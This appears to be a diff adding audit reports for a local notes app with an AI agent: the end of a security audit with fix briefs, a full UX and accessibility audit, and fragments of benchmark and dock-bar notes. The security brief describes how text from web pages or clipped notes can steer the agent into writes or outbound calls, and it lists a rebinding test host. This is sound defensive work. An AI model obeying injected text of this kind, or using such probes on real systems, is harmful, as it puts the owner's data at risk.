+- S10: `/openapi.json` 401, `/docs` 404.
+- S12: backup round trip correct.
+- `test_every_route_is_locked.py`: 19 passed with the cookie tests.
+- Private notes are absent from every read surface for a vault-less session (18 routes, including the graph, timeline, exports and support bundle).
+- `llm_api_key` is withheld from `/preferences`, the bundle and logs; `preferences.json` is 0600.
+- defusedxml on every XML door; the docx part cap holds (zipfile enforces the declared size).
+- The access log redacts query text.
+
+## 4. Top 5 execution briefs
+
+**Brief A: no open notebook on the network (SEC-01, SEC-06). Opus, S.**
+- Goal: the server never listens beyond loopback without a password, and never buffers an unbounded body before auth.
+- Files: `core/netbind.py` (`bind_host`), `__main__.py` (`_reset_password`, the launcher), `api/routes_auth.py` (`require_unlock`, `PasswordBody`), `api/app.py` (a new outermost ASGI body-cap middleware), `tests/test_lan_mode.py`.
+- Steps:
+  1. `bind_host(config, has_password)` returns loopback when there is no user.
+  2. Reset clears `allow_lan` and prints that it did.
+  3. `require_unlock` gives 401 to a non-loopback caller when no password exists.
+  4. `BodyCap` middleware: 413 over 1 MB on `/auth/*` and `/logs/client`, and over `MAX_FILE_BYTES` + 1 MB elsewhere, counting chunks when there is no Content-Length.
+  5. `max_length=1024` on passwords.
+- Acceptance: the launcher started on a LAN-on, reset notebook binds 127.0.0.1; a 2 MB unlock body gets 413; peak RSS for a 300 MB body stays flat; `test_every_route_is_locked.py` still green.
+- Risks: the upload routes' legitimate sizes; the pywebview shell's upload path.
+
+**Brief B: taint follows the text, and writes park once tainted (SEC-02). Opus, M.**
+- Goal: no outbound or write call follows outside text without a confirm, whether that text came from a web tool or from a note made out of a web page.
+- Files: `ai/agent.py` (`_OUTSIDE_TOOLS`, `_dispatch_call` around `:2243` and `:2411`, `state.outside`), `ai/tools/__init__.py` (`_save_skill` becomes a proposal; `_get_note_tool`/`_search_notes` return a `provenance` field), `core/database.py` (`Entry.provenance`, a migration: `web` for `source_url` rows and import rows), `routes_webclip.py`, the import routes, `tests/test_injection_fence.py`.
+- Steps:
+  1. Tests first, from `scratchpad` repro `test_sec_taint_bypass.py`, flipped to assert parks.
+  2. A provenance column, set at clip and import.
+  3. A read of an external-provenance note sets `state.outside`; retrieved context notes with that provenance set it at turn start.
+  4. Tainted turn: every name in `_WRITE_TOOLS` parks.
+  5. `save_skill` gets the proposed/accept card, reusing the preference proposal UI.
+  6. `read_url` parks for a URL not seen in the question or this turn's results.
+  7. Help surfaces (rule 13).
+- Acceptance: both repro cases park; `test_reaching_out_before_anything_outside_was_read_needs_no_confirm` still passes; a skill run whose own steps write still runs without cards when nothing outside was read.
+- Risks: confirm fatigue on research turns (measure the card count on the skills evals); the prompt budget.
+
+**Brief C: private means gone from the file (SEC-03, SEC-14). Sonnet, S, then Opus for the derived text.**
+- Goal: no byte of a private note's plaintext or vocabulary in the DB file, WAL, backups or exports.
+- Files: `entry/manager.py` (`set_private`), `core/database.py` (connect hook: `PRAGMA secure_delete=ON`), `core/backup.py` (checkpoint before copy), `api/routes_settings.py` (`export_json` adds `is_private`), `routes_ask_history.py`.
+- Steps:
+  1. A test: create, make private, back up, assert no token in the raw bytes of the backup or of `GET /export/backup`.
+  2. After the commit in `set_private(True)`: `INSERT INTO entries_fts(entries_fts) VALUES('optimize')` and the same for `search_index`, then `wal_checkpoint(TRUNCATE)`.
+  3. `secure_delete` on.
+  4. Fix the comment at `routes_settings.py:2042`.
+  5. Opus: redact ask turns whose `raw_result_ids` include the note.
+- Acceptance: the test passes, and the backup grep returns 0 (the method is in section 2).
+- Risks: `optimize` cost on a large notebook (measure at 5k notes); run it in the background job if it passes 200 ms.
+
+**Brief D: every password check is throttled, and only the owner's page can lock (SEC-04, SEC-05, SEC-09). Sonnet, S.**
+- Files: `api/routes_auth.py` (change_password, rotate_vault_key, lock, the bcrypt helpers), `core/security.py` (`HostCheckMiddleware`: always on; `OriginCheckMiddleware`: `null` refused on `/auth/*`), `tests/test_unlock_throttle_per_client.py`, `tests/test_optional_sign_in.py`.
+- Steps:
+  1. One helper, `_check_password(user, pw, client)`, that throttles, records and pre-hashes for more than 72 bytes (with a legacy-verify fallback).
+  2. Use it at all five bcrypt sites.
+  3. `/auth/lock` acts only for a valid token.
+  4. Host allowlist on loopback, with `testserver` allowed in tests by fixture.
+- Acceptance: 6 wrong change-password tries give 429; `Host: evil.example` gets 421 on loopback; an unauthenticated `/auth/lock` leaves `vault_open` true; a 100-character password sets up and unlocks.
+- Risks: users whose existing hash came from a password over 72 bytes cannot exist (bcrypt 5 refused them), so the migration is one-way and safe.
+
+**Brief E: restore and import are recoverable (SEC-07, SEC-10). Sonnet, S.**
+- Files: `api/routes_backups.py` (restore), `api/routes_auth.py` (export a `revoke_everything()`), `api/routes_settings.py` (`_run_directory_import`), `core/taskhistory.py`.
+- Steps:
+  1. After a restore: close the vault, clear the tokens and tickets, and answer with a flag that makes the UI show the lock screen.
+  2. Import: dedupe on `(source_path, content_hash)`; rollback per failed file; record a task-history row at start and its final state at the end.
+- Acceptance: the SEC-07 sequence leaves the post-restore private note readable after re-unlock; importing a folder twice adds 0 the second time; a kill -9 mid-import shows "interrupted" after restart.
+- Risks: the UI's handling of a 401 straight after restore; help copy for "import again".
+
+## 5. Not verified
+
+- Real model compliance with any injection (SEC-02): the mechanism was verified with a scripted model only.
+- Chrome's Local Network Access prompt and Firefox behaviour against the rebinding and `Origin: null` shapes (SEC-05): the requests were sent with curl, not from a real cross-site page.
+- LAN sniffing (SEC-08): code read only.
+- The pywebview window (WebView2, WKWebView): the CSP `javascript:` check ran in headless Chromium only.
+- Disk full, and migration of an old DB: not re-run (INBOX 266 measured disk full before).
+- The provider redirect guard (S6) and the update-downloader redirect loop (S15): not re-tested.
+- SEC-14's ask-history residue: no ask turn could be produced without a model.
+- SEC-10's poisoned-session cascade after one failed flush: code read only.

+# Audit 2026-10-05: UX, interaction, accessibility, table stakes
+
+Method: a fresh data dir (`/tmp/mm-audit-ux`, port 8834), first launch driven
+by hand in Playwright, then seeded (`seed.js`, `seed-notebook.sh`: 22 notes, a
+document, a board, two reminders). Journeys at 1440x900 and 390x844
+(isMobile, hasTouch), light and dark, plus `timezoneId: America/New_York` and
+`reducedMotion: reduce` contexts. No model running throughout (the default
+install). Scripts: `/tmp/claude-0/ux/j*.js`. axe-core (`axe.js`) light and
+dark: 0 findings, so names, roles and contrast in the static DOM are clean;
+everything below is behaviour axe cannot see.
+
+## 1. Summary: the five worst things
+
+1. **"Remind me, say when in plain words" fails with no model** for
+   "call mum tomorrow at 5pm" (HTTP 503), though `ai/when.py` already reads
+   that phrase with no model. The offline-first default install cannot set a
+   reminder the way the dashboard tells it to.
+2. **Dates found in notes land on the wrong day west of UTC, at a made-up
+   midnight.** "Dentist appointment on Friday at 3pm" shows on the Timeline
+   under "Thu, Oct 8, 8:00 PM" in New York, and "12:00 AM" in UTC.
+3. **The first thing every new board shows is broken:** the whiteboard help
+   card has 14 of 46 rows with text drawn over its keycaps, and overflows its
+   card by 56px.
+4. **Search tells a full notebook it is empty.** Any query with no hits in
+   the Finder (Ctrl+P) says "Nothing is indexed yet. Save a note and it will
+   appear here." with 22 notes indexed; and a one-letter typo ("dentst")
+   finds nothing in either search box, although `keyword_search` corrects it.
+5. **The same word means three places.** "Ask" is a Notes sub-tab (works
+   with no model), a mode in Chat (disabled with no model), the footer button
+   (opens a dialog titled "Agent"), and the dashboard's "Ask AI"; and the
+   recycle bin, Questions, backups and undo are not findable from Ctrl+K.
+
+Counts: High 4, Medium 9, Low 10.
+
+## 2. Findings, by severity
+
+### High
+
+**UX-01. Plain-words reminders 503 without a model, though a model-free reader exists.** NEW FIXED 67f52f1
+- Evidence: Reminders tab, `#reminder-magic` = "call mum tomorrow at 5pm",
+  Enter: `POST /reminders/parse` 503, toast "The local AI isn't running, and I
+  couldn't read a time from that. Try “in 20 minutes”, or use the form."
+  `api/routes_reminders.py:369-381` tries only `reminder_parser.parse_relative`
+  ("in N units") before demanding the model. `ai/when.resolve` with no model,
+  measured: "call mum tomorrow at 5pm" 2026-10-06 17:00; "dentist next Friday
+  at 3pm" 2026-10-16 15:00; "pay rent on 1 November" 2026-11-01 09:00; "water
+  plants tonight" 2026-10-05 20:00. `parse_relative` reads none of the four.
+- Impact: the dashboard's Quick access "Remind me: Say when, in plain words"
+  is a dead end on the default install. Breaks the owner's stated principle
+  (HISTORY INBOX 269: "maximise the ability and function of all the
+  application features without ai").
+- Severity: High.
+- Fix: in `parse_reminder_route`, after `parse_relative`, call
+  `when.resolve(text, local_now)`; strip the matched phrase from the text with
+  `entry/timewords` spans (or a small `when.phrase_span`) via
+  `reminder_parser._tidy`; model only when both fail. Tests: the four phrases
+  above with `ollama.is_running() == False` return 201. Effort S.
+
+**UX-02. Day-precision dates in notes are stored as naive midnight and shown as UTC instants.** NEW FIXED 79bc2f8
+- Evidence: `entry/manager.py:702-707` stores
+  `datetime(at.year, at.month, at.day)`; `/timeline` serialises it as
+  `2026-10-09T00:00:00+00:00` (`placed_by: "mentioned"`, phrase "on Friday").
+  Browser in UTC: Timeline row "Dentist appointment on Friday at 3pm..."
+  under "Fri, Oct 9" at "12:00 AM". Same data with
+  `timezoneId: America/New_York`: under "Thu, Oct 8" at "8:00 PM"; "on
+  Thursday" lands on "Wed, Oct 7, 8:00 PM". `timewords.find` returns
+  `Mention(phrase='on Friday', precision='day')` and drops "at 3pm".
+- Impact: every user west of UTC (the Americas) sees every mentioned date a
+  day early; everyone sees a time the note never said. The Timeline is the
+  surface built to answer "what is when".
+- Severity: High.
+- Fix: send day-precision rows as a date (`"date": "2026-10-09"`, no
+  instant) and render them as all-day (no clock) in `timeline.js`, grouping
+  by that string, not by `new Date(at)`; optionally extend `timewords` with
+  `when._clock` so "on Friday at 3pm" gets `precision: "minute"`. Tests: a
+  timeline API test asserting no `+00:00` midnight on day rows; a Playwright
+  check under `America/New_York`. Effort M.
+
+**UX-03. Whiteboard help card: text drawn over keycaps, card overflows.** NEW MOVED to the whiteboard agent (full redesign, owner request)
+
+**UX-03. Whiteboard help card: text drawn over keycaps, card overflows.** NEW FIXED cf17b52
+- Evidence: Library, Create, New board, name it: `.wb-empty-hint-inner`
+  opens on every new board. Per `li`, text range right edge vs `kbd` left
+  edge: 14 of 46 rows overlap, worst "Text box · canvas menu" text to 747px
+  over a kbd starting at 645px (102px), "Keep proportions · fit the text"
+  169px. Card `scrollWidth` 790 vs `clientWidth` 734 (56px horizontal
+  overflow); last row "Export a frame and what it holds" kbd box ends at
+  1143px, beyond the card. Cause:
+  `frontend/css/07-whiteboard-misc.css` around 9527: `.wb-help-grid li > span
+  { white-space: nowrap; min-width: 0 }` with a non-shrinking `kbd`.
+- Impact: the first screen of the whiteboard reads as broken; the shortcuts
+  it exists to teach are illegible.
+- Severity: High (first impression of a whole surface, every new board).
+- Fix: let the label wrap (`white-space: normal`) and the kbd wrap its own
+  chords (`white-space: normal; text-align: right; max-width: 55%`), or give
+  each column `grid-template-columns: 1fr auto` per row; add a sweep that
+  asserts no `li` text range crosses its `kbd`, and `scrollWidth <=
+  clientWidth`. Effort S.
+
+**UX-04. Finder says "Nothing is indexed yet" on a full notebook; no typo tolerance in either search box.** NEW FIXED ae69431
+- Evidence: Ctrl+P, "dentst": chips all 0, "Nothing matched / Nothing is
+  indexed yet. Save a note and it will appear here." with 22 notes. Cause:
+  `frontend/js/spaces-find.js:1207` sums `finderCounts`, which since the
+  "chip counts what this search found" change (`:1044-1057`) holds per-query
+  hits, so any empty result reads as an empty index. The route itself
+  returns the index size (`GET /search?q=dentst` gives
+  `counts: {note: 22, ...}`). Typo: `/search` (search/engine.py) has no
+  correction; `search_manager._corrected_terms` (difflib, cutoff 0.8) exists
+  but only `keyword_search` uses it. Notes, Your notes, Filter "dentst":
+  "No notes match your filter". "dentist" finds both dentist notes in both.
+- Impact: a person with a typo is told their notes are not there; the two
+  search boxes and Ask disagree on what a typo finds.
+- Severity: High.
+- Fix: keep `body.counts` as `finderIndexTotals` and test that for the
+  "indexed" sentence; when `hits` is empty run the query through the
+  corrected terms (expose `_corrected_terms` to `engine.search`, or retry
+  `/search` with `corrected=1`) and show "Showing results for dentist".
+  Tests: route test for a one-edit typo; a JS test that an empty result on a
+  non-empty index says "Try fewer words". Effort S to M.
+
+### Medium
+
+**UX-05. Enter in a document's title does not move to the body.** NEW FIXED dd836b1
+- Evidence: Library, Create, New document: focus `#doc-title`; typing "Trip
+  plan", Enter, "Day one: arrive in Lisbon." left focus in the title and
+  saved the title "Trip planDay one: arrive in Lisbon./"; body empty
+  ("Empty" on the dashboard's Recent documents). `documents.js:10858` has an
+  `input` listener on `#doc-title` and no keydown.
+- Impact: every document started the Notion, Apple Notes or Obsidian way
+  ends with its first line in the title.
+- Fix: `keydown` Enter (and ArrowDown at end) on `#doc-title` focuses the
+  CodeMirror view at line 1. Effort S.
+
+**UX-06. Mind maps: two kinds under swapped names; topics flood the notebook; header count wrong.** KNOWN in part (MINDMAP_PLAN section 2: "mindmap and concept map become one feature, not two"; WORLD_CLASS_PLAN standout 4 "a map node is an entry" is a decision) FIXED in part 02989f8 (Create rows); counts, "sketches", hiding map topics and the focus after Enter left to the whiteboard and mind map agent; the rest FIXED 976c7ce
+- Evidence: the Create dialog row "New concept map: A mind map: a tree of
+  topics you move and connect" (`library.js:1867`) makes a board of note
+  cards; the mind map kind is only behind New board's "What kind of board:
+  Board | Mind map". A concept map "Pets" with Tab, Enter added three notes:
+  status bar notes 24 to 27; the header read "Board · Pets (1 item)" while
+  `/whiteboard/boards` says `node_count: 3`; the dashboard's Boards & maps
+  widget says "3 cards · 2 sketches" (the two links are "sketches"). Phone
+  dashboard "Recently added": Cats, Dogs, Pets, Vegetables, Garden; Ask
+  "Summarise my notes." cites "Vegetables" and "Garden" as matching records.
+  Typing after committing a topic with Enter (focus on `BODY`) fires tool
+  shortcuts: "Flowers" created a stray `POST /whiteboard/sketches`.
+- Impact: a person making a mind map is not told it writes notes, cannot
+  hide them from Notes or Recently added, and sees implementation words.
+- Fix: rename the Create row to what it makes, add "New mind map" beside it;
+  count items as topics on maps; say "links" not "sketches"; give map-topic
+  entries a kind and a "Hide map topics" default in Notes and Recently added;
+  after Enter commits a topic, keep focus on the canvas item so letters start
+  a rename rather than switching tools. Effort M.
+
+**UX-07. "Ask" names four destinations; Chat offers starters it cannot answer.** KNOWN in part (CHAT_PLAN: "one composer, an agent you reach for") FIXED 66789c4
+- Evidence: Dashboard "Ask AI" and "Ask your notebook" open Notes, Ask;
+  footer `#status-agent` labelled "Ask" opens a dialog headed "Agent" ("No
+  model is connected, so the agent cannot run."); Chat has an Ask/Agent
+  segment; the Guide is a fifth question box. With no model Chat's Send is
+  disabled (`title` "Chat is answered by the local AI...") yet it shows "Try
+  asking: Summarise my notes." and that chip silently switches tab to Notes,
+  Ask. Notes, Ask's own starter "What have I saved so far?" answers "none of
+  the notes found share enough with your question to quote".
+- Impact: a new user cannot predict which box answers what, and the first
+  suggested question fails.
+- Fix: footer button label "Agent" (or open Notes, Ask with no model);
+  Chat with no model hides the starters or says "Opens Ask"; replace "What
+  have I saved so far?" with a recency answer (`is_recency_ask` already
+  exists in search_manager.py:903) or drop it. Effort S.
+
+**UX-08. Discoverability: the bin, Questions, backups and undo are not in Ctrl+K.** NEW (palette completeness KNOWN as a goal, WORLD_CLASS_PLAN gap table "make it complete") FIXED ebd61cf (the Library "Bin" chip not added: the palette row opens the Library with Include the bin ticked)
+- Evidence: Ctrl+K "questions", "backup", "undo", "bin", "trash": "No
+  matching command, note or document."; "theme": nothing (only "dark" finds
+  "Toggle light/dark"). The recycle bin's only door is Library, Filter,
+  "Include the bin" (`index.html:5104`); a restore path the owner would not
+  guess. Questions is a Notes sub-tab; on the phone the sub-tab strip is
+  468px wide in a 364px box and Questions starts at x=388 of 390, off screen.
+- Impact: the owner's own report ("is there a way to generate questions
+  now") repeats for every feature that lives in a sub-tab or a filter.
+- Fix: generate palette rows from every sub-tab (`[role=tab][data-section]`,
+  Library `data-target`) and every Settings group, with synonyms (bin,
+  trash, deleted; backup, restore; theme, appearance); add a "Bin" entry to
+  the Library filter chips (Everything, Notes, ..., Bin). Effort S to M.
+
+**UX-09. The text-selection popup floats over the tab bar after every Ask.** NEW FIXED 77af034
+
+**UX-09. The text-selection popup floats over the tab bar after every Ask.** NEW FIXED 34ba100
+- Evidence: Notes, Ask, ask anything: the query is auto-selected
+  (`#question` selectionStart 0, end 19) and `fieldSelection()`
+  (`selection.js:727-741`) offers the writing popup; `elementFromPoint(662,
+  68)` is `button[aria-label="Actions for the selected text"]` inside
+  `.selection-popup`, over the top navigation. Its menu offers Highlight and
+  Bold for a search query.
+- Fix: exclude query fields (`#question`, the chat composer when it holds
+  a sent query, any `[data-no-selection-popup]`) as `type=search` already is.
+  Effort S.
+
+**UX-10. The notes list is 281 Tab stops for 27 notes.** NEW FIXED f5b77d0
+- Evidence: each card exposes 9 to 11 tabbable controls (category chip, tag
+  chips, tag suggestions, favourite, copy, edit, more); `li` elements use a
+  roving tabindex (ArrowDown moves card to card) but their children do not,
+  so Tab from "Reading list" walks Category, reading, Add to Favourites,
+  Copy, Edit, More actions, then the next card's chips.
+- Impact: a keyboard user cannot get past the list to the rest of the page;
+  at 1,000 notes the list is ~10,000 stops.
+- Fix: children `tabindex=-1` except on the active card (or reachable by
+  ArrowRight/Left inside a card), the list as `role=listbox` or a grid.
+  Effort M.
+
+**UX-11. Export gives no confirmation and contradicts itself; two backup concepts.** NEW FIXED 24c2a23
+- Evidence: Settings, Import & export, Export Markdown: a browser download
+  `memorymap-markdown.zip`, no toast; the panel still reads "Recent exports /
+  Nothing exported yet. Files land in /tmp/mm-audit-ux/exports." "Export
+  full backup (.zip)" sits beside "Backups / Back up now" (a `.db` snapshot)
+  with no word on which one restores. Restore itself is good: confirm
+  "Restore this backup? Your current notebook is snapshotted first", focus on
+  Cancel.
+- Fix: toast "Exported 29 notes as Markdown" and refresh Recent exports;
+  one line under each backup kind saying what it is for. Effort S.
+
+**UX-12. With no model, AI features explain themselves only in a tooltip on a disabled button.** NEW FIXED 24c2a23
+- Evidence: Dashboard Weekly digest: `button.ai-unavailable`
+  `disabled: true`, reason only in `title`; Chat Send the same. A disabled
+  native button is not focusable and a `title` does not show on touch, so
+  keyboard and phone users get no reason (the codebase says so itself,
+  `sheets-selects.js:1138`). Chat has an inline banner; the digest does not.
+- Fix: the inline "No model is connected..." line with "Connect a model in
+  Settings" (the Ask and Chat recipe) on every AI-only widget; or an
+  extractive digest (counts, top tags, notes written), per INBOX 269. Effort S.
+
+**UX-13. Phone: the category chip truncates to "Un..." on half the cards.** NEW FIXED 9781258
+- Evidence: 390x844, Notes: `.chip.category` "Uncategorised", label
+  `scrollWidth` 87 vs `clientWidth` 33 on 3 of 6 cards (chip 60px wide where
+  the meta row also holds "edited"). The `aria-label` is whole.
+- Fix: let the meta row wrap, or drop the time to its own line on phone,
+  before the chip shrinks. Effort S.
+
+### Low
+
+**UX-14. `title="undefined"` tooltips on menu items.** NEW FIXED 9781258
+- Evidence: Chat's kebab: 5 items with `title="undefined"` (Rename this
+  chat, Export as Markdown, Save this chat as a document, Copy the whole
+  transcript, Delete this chat). `sheets-selects.js:642` and `:1137` set
+  `button.title = item.title` unconditionally; `menus.js:1452` guards it.
+- Fix: `if (item.title) button.title = item.title;` in both. Effort S.
+
+**UX-15. The Guide's storage answer names a Settings section that does not exist.** NEW (standing order 13) FIXED 9781258
+- Evidence: Guide, "how do I back up my notes": "Settings -> Data shows
+  exactly where it is on disk...", button "Open Settings, Data"
+  (`ai/help_chat.py:363`, badge label "Data"); the nav says "Import &
+  export". Also "->" where the rest of the app writes "→".
+- Fix: the copy and badge label; a test that every help badge label equals
+  the Settings nav text for its section. Effort S.
+
+**UX-16. Library "22 words written" on the All view counts documents only.** NEW FIXED 9781258
+- Evidence: Library, All, 29 notes and 2 documents: "22 words written";
+  `routes_library.py:864` sums `kind == "document"`.
+- Fix: count notes too, or say "22 words in documents". Effort S.
+
+**UX-17. Status copy contradicts itself with no model.** NEW FIXED 9781258
+- Evidence: footer "AI status: Everything works · AI off" (phone: "chat AI
+  off"); on the first save of a fresh install the toast said "Saved. Filing
+  it in the background, keep writing." and the status bar "Filing a note · 1
+  running", while later saves correctly say "Saved in “Uncategorised”: no AI
+  model is running to file it."
+- Fix: "Notebook ready · AI off"; the first-save copy waits for the model
+  status, or uses the no-model sentence when status is unknown. Effort S.
+
+**UX-18. The notes list toolbar scrolls away.** NEW FIXED 9781258 (600px and wider; a phone keeps the dock in the flow, where it would hold 234 of 844px)
+- Evidence: Notes, Your notes, wheel 1500px: `input[placeholder="Filter
+  notes"]` top at -1244px; only the sub-tab strip is sticky. Filter, sort,
+  Select and New note need "Back to top" first.
+- Fix: make `.notes-toolbar` sticky under the sub-tabs. Effort S.
+
+**UX-19. "Highlight in a colour..." asks the user to type a colour name.** NEW FIXED 9781258
+- Evidence: `selection.js:769-777`, a `promptDialog("Colour: green, blue,
+  pink, purple or orange:")` with an error toast for anything else.
+- Fix: a swatch row (the existing chip-menu recipe). Effort S.
+
+**UX-20. Terminology drifts for the same object.** NEW FIXED 9781258
+- Evidence: "Move to bin" (menu), "Moved to the recycle bin." (toast),
+  "Include the bin" (filter), "Recycle bin" (Settings, General); "concept
+  map", "mind map", "map", and a map's header "Board · Garden"; "Ask AI",
+  "Ask your notebook", "Ask Atlas", "Ask the agent".
+- Fix: one glossary in DESIGN.md and a lint over `index.html` and the JS
+  string literals. Effort S.
+
+**UX-21. Shortcuts advertised that a browser tab cannot receive.** NEW, not verified in Chrome UI FIXED 9781258
+- Evidence: the Create dialog shows Ctrl+Shift+N (New note) and
+  Ctrl+Shift+D (New document); in Chrome a page cannot intercept Ctrl+Shift+N
+  (new incognito window). Fine in the pywebview window; wrong on the LAN or
+  browser path.
+- Fix: show the hint only in the desktop window, or offer an alternative
+  (Alt+N). Effort S.
+
+**UX-22. Reduced motion leaves the emblem turning.** KNOWN (owner decision, `03-dashboard-widgets.css:3226-3253`) NO CHANGE (owner decision, recorded)
+- Evidence: with `reducedMotion: 'reduce'`, `emblem-spin` runs infinite on
+  every tab (1 to 2 animations); the in-app Motion setting is the stop. Graph
+  rAF is 0 per 3s after settling either way. Recorded so a future audit does
+  not reopen it; WCAG 2.2.2 is met through the app setting.
+
+**UX-23. Table stakes still missing.** KNOWN (WORLD_CLASS_PLAN gap table, State 2026-09-24) NOT IN SCOPE (plan items: importers, sync)
+- Importers beyond Markdown and Obsidian frontmatter (no Notion zip, ENEX,
+  Apple Notes: `grep -i enex src/` finds nothing); sync (B6); reminders fire
+  only "while the app is open, or hit Remind on any note" (Reminders tab
+  copy); no OS notification when the window is closed except via the tray.
+- What is at standard, measured: undo for bin moves (Ctrl+Z restored note
+  7, toast "Undone: Moved a note to the bin"), a leave-without-saving confirm
+  on a dirty note (focus on Cancel), restore with a snapshot first, bulk
+  select with Move to, Tags, Delete; sort with six orders; Tab focus rings on
+  every stop measured (dashboard, notes, timeline, reminders, chat: 0
+  without a ring; Library 1 of 44, a card); no horizontal scroll at 390px;
+  one touch target under 44px on the phone dashboard (Skip to content).
+
+## 3. Claimed built but not
+
+- `spaces-find.js:1203-1206` says the empty state tells "nothing matched"
+  from "nothing of that kind exists yet". The later counts change at
+  `:1044-1057` broke it: every empty search now says the index is empty
+  (UX-04).
+- HISTORY row 796 (`ai/when.py`, "35 phrasings resolved, no model") and
+  `routes_reminders.py:369-371` ("A phrase the rules can read needs no model
+  at all"): the rules Magic Add uses are only "in N units"; the 35-phrase
+  reader is wired to the agent's `set_reminder` tool alone (UX-01).
+- Standing order 13 ("help moves with the UI"): the Guide's storage topic
+  still names "Settings -> Data" (UX-15).
+- MINDMAP_PLAN section 2 expected concept map and mind map to become one
+  feature; the Create dialog now describes the concept map as "A mind map"
+  while the real mind map hides behind a toggle (UX-06).
+
+## 4. Top 5 execution briefs
+
+**Brief A: reminders without a model (UX-01).** Sonnet.
+- Goal: Magic Add reads everything `when.resolve` reads, no model.
+- Files: `src/memorymap/api/routes_reminders.py` (`/parse`, ~342-400),
+  `src/memorymap/ai/when.py`, `src/memorymap/ai/reminder_parser.py`
+  (`_tidy`), tests `tests/test_reminders*.py`, `tests/test_when.py`.
+- Steps: tests first (four phrases, AI off, 201, due_at and stripped text);
+  after `parse_relative` returns None call `when.resolve`; strip the phrase
+  (add `when.find_span(text)` returning the matched substring, or reuse
+  `timewords.find` spans); keep the 503 only when both fail; update the
+  toast copy to name a working example ("tomorrow at 5pm").
+- Acceptance: `POST /reminders/parse {"text":"call mum tomorrow at 5pm"}`
+  with Ollama stopped returns 201, text "call mum", due tomorrow 17:00 local.
+- Risks: the stripped text losing words ("at 5pm" inside a name); keep the
+  original text when stripping leaves under two words.
+
+**Brief B: dates in notes are dates, not midnights (UX-02).** Opus.
+- Goal: a day mention renders on its own day in every timezone, with no
+  clock.
+- Files: `src/memorymap/entry/manager.py` (~702), `entry/timewords.py`,
+  `api/routes_timeline.py` (~206-225, 604-617), `frontend/js/timeline.js`
+  (row time and day grouping), `frontend/js/note-cards.js:1899`.
+- Steps: tests first (API: a day row carries `date` and
+  `precision: "day"`; Playwright with `timezoneId: America/New_York` puts
+  "on Friday" under Friday); serialise day rows as dates; group by the date
+  string; render "All day" or no time; optional: let timewords read a
+  following time ("at 3pm") with `when._clock` and store minute precision.
+- Acceptance: the dentist note under "Fri, Oct 9" in UTC, New York and
+  Sydney; no "12:00 AM" on a day row.
+- Risks: the heatmap counts (`routes_timeline.py:615`) and the paging
+  cursor use `.date()` of the same value; keep them in step.
+
+**Brief C: the board help card (UX-03).** Sonnet.
+- Goal: no row's text crosses its keycap; the card never scrolls sideways.
+- Files: `frontend/css/07-whiteboard-misc.css` (`.wb-help-grid li`, `li >
+  span`, `li > kbd`, ~9490-9545), new sweep
+  `scratchpad/ui-sweeps/wbhelpfit.js`.
+- Steps: sweep first (per `li`, `Range` of the span vs `kbd` rect; card
+  `scrollWidth <= clientWidth`) at 1440, 1024 and 390; let labels wrap,
+  kbd `white-space: normal`, keep baseline alignment; re-run; bump `?v=`.
+- Acceptance: 0 of 46 overlaps, `scrollWidth == clientWidth`, at three
+  widths, light and dark.
+- Risks: `test_style_scale.py` and the type ramp; use tokens only.
+
+**Brief D: search honesty and typos (UX-04).** Opus.
+- Goal: an empty search on a full index says "Try fewer words" and offers
+  the corrected query; a one-edit typo finds the note in the Finder, the
+  Notes filter and Ask alike.
+- Files: `frontend/js/spaces-find.js` (~1028-1060, 1197-1215),
+  `src/memorymap/search/engine.py`, `search/search_manager.py`
+  (`_corrected_terms` ~208), `api/routes_search.py`, the Notes filter path in
+  `frontend/js/notes-list.js`.
+- Steps: tests first (route: `q=dentst` returns the two dentist notes with
+  `corrected: "dentist"`); keep index totals separate from chip counts in
+  the finder; apply correction in `engine.search` when the first pass is
+  empty; show "Showing results for dentist" with a link to search the exact
+  word.
+- Acceptance: the Finder and the Notes filter both find "dentst"; empty
+  results on a non-empty index never say "Nothing is indexed yet".
+- Risks: correction must not fire when the exact word exists (it already
+  checks the vocabulary); keep the search budget.
+
+**Brief E: five small interaction fixes (UX-05, 09, 14, 15, 17).** Sonnet.
+- Goal: the papercuts a new user hits in the first ten minutes.
+- Files: `frontend/js/documents.js` (Enter in `#doc-title` focuses the body),
+  `frontend/js/selection.js:727-741` (exclude `#question` and chat
+  composers), `frontend/js/sheets-selects.js:642, 1137` (guard `title`),
+  `src/memorymap/ai/help_chat.py:363` ("Settings, Import & export"),
+  `frontend/js/status.js` or wherever "Everything works · AI off" is built.
+- Steps: one test or sweep per fix (`test_frontend_handlers.py` style for
+  the title key; a DOM scan for `[title=undefined]` across every menu; a
+  help-badge-equals-nav-label test); one commit per fix; help surfaces
+  updated in the same commits (standing order 13).
+- Acceptance: typing "Title", Enter, "Body" yields title "Title" and body
+  "Body"; no `.selection-popup` visible after an Ask; 0
+  `[title="undefined"]`; the Guide's storage answer opens Import & export.
+- Risks: `#doc-title` Enter while an IME composition is active
+  (`event.isComposing`).
+
+## 5. What I could not verify
+
+- Anything with a real model: filing, Chat answers, the agent, the digest,
+  the Settings, Models path after Ollama is installed (which model to pull,
+  whether a pull UI exists); this server ran with
+  `MEMORYMAP_NO_AUTO_INSTALL=1`.
+- A screen reader's actual speech (axe and DOM names only); Windows real
+  scrollbars; the desktop pywebview window; an on-screen keyboard on the
+  phone (Playwright cannot raise one).
+- OS notifications: the headless context reports `Notification.permission`
+  "denied", so the reminder notification itself never fired.
+- Sync and multi-device conflicts: none exist to test; the in-app
+  edit-conflict path (`edit-conflict.js`) was not exercised.
+- Graph keyboard navigation of nodes beyond reaching "Fit map to view".
+- Dark theme was checked by axe (0 findings) and two screenshots, not by a
+  pixel sweep.

+
+No torch: a hashed bag-of-words embedder (384 signed buckets, sublinear term
+frequency), which has the property that matters here and nothing more: a
+note's vector is the average of what it says, so one paragraph in eight is
+an eighth of it. A real model dilutes the same way; how much better its

+
+The notebook: notes of one to eight paragraphs, each paragraph on one of 40
+topics (twenty topic words each) padded with filler shared by every note,
+and three words of its own (a name, a place, a thing) that no other
+paragraph has. A query is two of a paragraph's own words and four of its
+topic's, asked of a long note's middle paragraph: the case one vector per
+note loses, since short notes on the same topic share the four.
+
+Reports recall@1, recall@5 and MRR of `semantic_search`, its median time,

+# Dock and bar audit, INBOX 478 and 479 (2026-10-04)
+
+The owner: "polish and maximise ui/ux. I want no vibecoded tells. do an audit
+of the layout for all page top or bottom dock bars and see if controls can be
+better designed, structured, rearranged and more for all features", and "another
+devibecode sweep and also another modernisation and proffessionalisation and
+ui/ux design sweep".
+
+Checklists used: unslop-ui (its scanner is still not on disk, only SKILL.md is
